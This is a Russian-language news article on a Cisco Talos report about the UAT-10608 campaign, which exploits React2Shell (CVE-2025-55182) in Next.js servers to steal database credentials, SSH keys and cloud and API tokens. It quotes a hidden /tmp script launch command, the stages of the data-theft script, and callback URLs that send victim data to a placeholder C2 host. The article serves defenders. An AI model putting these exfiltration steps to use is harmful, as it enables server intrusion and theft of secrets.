Инциденты

Хакеры поставили на поток взлом Next.js через React2Shell: за сутки скомпрометированы сотни серверов

Маша Даровская
By Маша Даровская , IT-редактор и автор
Хакеры поставили на поток взлом Next.js через React2Shell: за сутки скомпрометированы сотни серверов
Обложка © Anonhaven

Исследователи Cisco Talos сообщили о крупной автоматизированной кампании, в которой злоумышленники эксплуатируют критическую уязвимость React2Shell в публично доступных веб-приложениях, прежде всего на Next.js. По данным Talos, атакующая группа, отслеживаемая как UAT-10608, скомпрометировала 766 хостов и построила почти конвейерную схему кражи данных с серверов.

В основе атак лежит уязвимость CVE-2025-55182 — удалённое выполнение кода без аутентификации в React Server Components. Национальная база NVD описывает её как небезопасную десериализацию данных из HTTP-запросов к серверным функциям. Уязвимость получила максимальную оценку CVSS 10.0. Изначально для Next.js отдельно фигурировал номер CVE-2025-66478, но затем его отклонили как дубликат, оставив основным идентификатором именно CVE-2025-55182.

Злоумышленники используют собственную инфраструктуру сбора данных под названием NEXUS Listener. После первичного проникновения через React2Shell они запускают на сервере полезную нагрузку, которая автоматически ищет и отправляет наружу чувствительные данные. В числе наиболее частых находок — учётные данные баз данных, приватные SSH-ключи, секреты AWS, история команд оболочки, рабочие ключи Stripe и токены GitHub.

Сбор данных осуществляют с помощью скриптов оболочки, запускаемых с помощью команды nohup и размещаемых в каталоге /tmp с использованием случайных имен:

/bin/sh -c nohup sh /tmp/.eba9ee1e4.sh >/dev/null 2>&1

Первоначальный эксплойт для React предоставляет небольшой дроппер, который загружает и запускает полный многоэтапный скрипт сбора данных. После выполнения скрипт сбора данных проходит несколько этапов для сбора различных данных из скомпрометированной системы, как описано ниже: 

  • environ  - Дамп переменных среды запущенного процесса  

  • jsenv  — Извлечение среды выполнения JavaScript из JSON-анализа.  

  • ssh  - Сбор закрытых ключей SSH и авторизованных ключей  

  • токены  — сопоставление с шаблоном и извлечение строк учетных данных.  

  • история  - Захват истории команд оболочки  

  • cloud_meta  - Запрос к API метаданных облака (AWS/GCP/Azure)  

  • k8s  - Извлечение токенов учетной записи службы Kubernetes  

  • Docker  — перечисление конфигураций контейнеров  

  • cmdline  - Отображает список всех командных строк запущенных процессов.  

  • proc_all  - Агрегировать все переменные среды процесса 

Платформа использует файл meta.json, который отслеживает состояние выполнения: 

 После завершения каждого этапа сбора данных отправляется HTTP-запрос обратно на сервер управления (C2), на котором запущен компонент NEXUS Listener. В большинстве случаев обратный вызов осуществляется на порту 8080 и содержит следующие параметры: 

  • Имя хоста 

  • Фаза 

  • ИДЕНТИФИКАТОР 

Вот несколько примеров полных URL-адресов, выполняемых после каждого этапа: 

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=info&id= 123abc45

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=jsenv&id= 123abc45

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=k8s&id=123abc45

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=crontab&id=123abc45

Масштаб сбора данных показателен. По данным Cisco Talos, примерно на 701 хосте нашли учётные данные к базам данных, примерно на 599 — приватные SSH-ключи, на 196 — данные доступа к AWS, на 245 — историю команд оболочки, на 87 — действующие ключи Stripe, а на 66 — токены GitHub. Всего исследователи зафиксировали 10 120 собранных файлов. 

BleepingComputer также сообщает, что исследователи Talos получили доступ к открытому экземпляру NEXUS Listener и смогли посмотреть, какие именно данные стекались с уже взломанных машин. Это позволило подтвердить не только факт эксплуатации React2Shell, но и реальный объём выкачанной информации.

Для защиты нет «волшебной таблетки», но шаги вполне понятны. Во-первых, нужно убедиться, что серверы не используют уязвимые версии React Server Components. Во-вторых, после возможной компрометации мало просто поставить патч: Talos и профильные издания подчёркивают, что необходимо перевыпустить все секреты, которые могли храниться на сервере, включая доступы к базам данных, SSH-ключи, облачные токены и API-ключи сторонних сервисов. Если злоумышленник уже скачал эти данные, одно обновление фреймворка ситуацию не исправит.

Есть новость? Станьте автором.

Мы сотрудничаем с независимыми исследователями и специалистами по кибербезопасности. Отправьте нам новость или предложите статью на рассмотрение редакции.

Вопросы по теме

Что такое React2Shell?
Это критическая уязвимость CVE-2025-55182 в механизме React Server Components, позволяющая удалённо выполнить код на сервере без входа в систему.
Почему в новости упоминают именно Next.js?
Потому что Talos отмечает: в текущей кампании злоумышленники в основном атакуют публичные приложения с компонентами, прежде всего Next.js, уязвимые к React2Shell.
Сколько систем уже пострадало?
Cisco Talos сообщает как минимум о 766 скомпрометированных хостах
Что именно крадут злоумышленники?
Учётные данные к базам данных, приватные SSH-ключи, секреты AWS, историю shell-команд, ключи Stripe и токены GitHub.
Достаточно ли просто поставить обновление?
Нет. Если сервер уже был взломан, нужно также перевыпустить и сменить все секреты, которые могли утечь.